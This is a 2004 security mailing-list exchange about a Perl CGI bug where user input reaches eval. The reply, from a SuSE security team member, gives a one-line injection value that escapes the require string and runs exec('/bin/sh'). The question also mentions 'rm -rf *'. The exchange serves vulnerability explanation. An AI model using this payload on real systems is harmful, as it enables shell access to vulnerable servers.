Re: Perl code security (CGI related)

On Mon, 5 Apr 2004, Rick Zhong wrote:

Thats not as half as complicated as it looks:

$default="/usr/lib/perl5/5.8.0/utf8.pm\" && print 'Shell...';exec('/bin/sh');#";

There have been similar bugs in some SOAP implementations for Perl,
but since they are sed'ed its not exploitable. Similar thing
for some HTTP modules which buld the require string via HTTP header
responses from servers :-)

Sebastian

> hi,
> I was looking at this vulnerable cgi-code. i have tidy it a bit
> 
> ====================================================
> my $code = 'require '. "\"$default/" .$area. '.pm"; $lang ='. $area.
> '->new();';
> 
> 	eval $code;
> ====================================================
> 
> The $default is under user's control. My question is whether perl's eval
> function allow execution of command such as "rm -rf *". Any execution
> restriction of "eval"? I have tried on my perl v5.8. It seems the "eval
> $code" can successfully change the behaviour of variables in the programs.
> However it does not have any effect if $code is shell command such as
> "rm -rf *"...
> 
> The cgi program is running on apache 2.0 running under user apache. Let me
> know if you need any details of my questions. It will be very  helpful if
> you can give any demo code etc.
> 
> regards,
> Rick
> 
> 
> 
> 
> 
> 
> 
> ==========================================
> Welcome to www.sinfosec.org
> SINgapore <In>FOSECurity Interest Group
> 
> 

-- 
~
~ perl self.pl
~ $_='print"\$_=\47$_\47;eval"';eval
~ [email protected] - SuSE Security Team
~